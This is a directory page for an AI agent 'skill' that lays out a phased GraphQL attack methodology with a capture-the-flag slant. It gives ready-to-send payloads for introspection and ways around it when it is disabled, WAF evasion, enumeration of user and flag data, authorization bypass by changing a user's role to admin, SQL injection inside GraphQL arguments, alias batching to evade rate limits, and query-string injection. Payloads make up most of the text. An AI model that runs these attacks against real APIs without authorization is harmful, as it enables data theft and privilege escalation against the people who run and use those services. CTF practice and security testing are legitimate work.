SuperAPI AI Directory

graphql-methodology

Security & auditing

View repository

Updated 10-16 04:42

About this skill

GraphQL attack methodology

Phase 1: Discover GraphQL endpoints

Common paths: /graphql, /api/graphql, /graphiql, /v1/graphql, /query Detection: POST {"query":"{ __typename }"} → returns {"data":{"__typename":"Query"}} confirms it

Phase 2: Introspection query (most important)

Get the full Schema:

{"query":"{ __schema { types { name fields { name type { name } } } } }"}

Simplified version (only Query and Mutation):

{"query":"{ __schema { queryType { fields { name args { name type { name } } } } mutationType { fields { name args { name type { name } } } } } }"}

The Introspection result contains all type definitions and fields — this is the most important information source

2.1 Bypassing disabled Introspection

Method 1: Field Suggestion The GraphQL engine suggests the correct field name for typos:

{"query":"{ __typena }"}
→ "Did you mean '__typename'?"

Use this feature to enumerate fields: send an incorrect field name and obtain the real field name from the suggestion.

Method 2: GET request bypass Some WAFs only block POST Introspection; use GET to bypass:

GET /graphql?query={__schema{types{name,fields{name}}}}

Method 3: Alias/Fragment bypass

{"query":"{ a: __schema { types { name } } }"}
{"query":"fragment f on __Schema { types { name } } { __schema { ...f } }"}

Method 4: Whitespace/newline variants

{"query":"\n{ __schema\n{ types\n{ name } } }"}

GraphQL field names are case-sensitive; the standard introspection field is __schema;__SCHEMA is not a valid case bypass.

Method 5: Field-by-field guessing If none of the above works, guess based on common naming:

{"query":"{ user { id } }"}
{"query":"{ users { id } }"}
{"query":"{ flag }"}
{"query":"{ admin { flag } }"}
{"query":"{ getUser(id:1) { id } }"}

Phase 3: Data enumeration

Query one by one based on the Schema:

{"query":"{ users { id username email role } }"}
{"query":"{ user(id: 1) { id username email role flag } }"}
{"query":"{ flag }"}
{"query":"{ admin { flag } }"}
{"query":"{ posts { id title content author } }"}

Pay attention to hidden fields (fields that exist in the Schema but are not displayed on the page)

Phase 4: Authorization bypass

  1. Directly query admin fields:
    {"query":"mutation { updateUser(id: 1, role: \"admin\") { id role } }"}
    
  2. Nested queries (Batch attack):
    {"query":"{ user(id:1){flag} user2:user(id:2){flag} }"}
    
  3. Alias ID enumeration:
    {"query":"{ u1:user(id:1){id,name,flag} u2:user(id:2){id,name,flag} u3:user(id:3){id,name,flag} }"}
    

Phase 5: Injection

SQL injection in GraphQL parameters:

{"query":"{ user(name: \"admin' OR '1'='1\") { id flag } }"}
{"query":"{ search(keyword: \"' UNION SELECT flag FROM flags--\") { results } }"}

Phase 6: Advanced techniques

  • Tool assistance: automated tools such as Clairvoyance and graphql-cop help discover hidden fields
  • Batch queries (Batching): request multiple results at once in a single query {a:user(id:1){name} b:user(id:2){name}}
  • WAF bypass: URL encoding (%7B) encoding bypass; newline/space variants

CTF GraphQL technique supplement

Alias batch operations bypass rate limiting

Repeat the same mutation (such as voting/authentication) with aliases in a single request to bypass rate limiting:

mutation {
  a1: vote(id: "target") { ok }
  a2: vote(id: "target") { ok }
  # 重复 N 次...
}

Array batching can also be used: POST body: [{"query":"mutation{...}"}, {"query":"mutation{...}"}, ...]

String interpolation injection

When the server concatenates GraphQL query strings, injection similar to SQLi occurs:

// 输入: ") { result } } mutation { adminAction(secret: true) { flag } } #
// 闭合原查询并注入新 mutation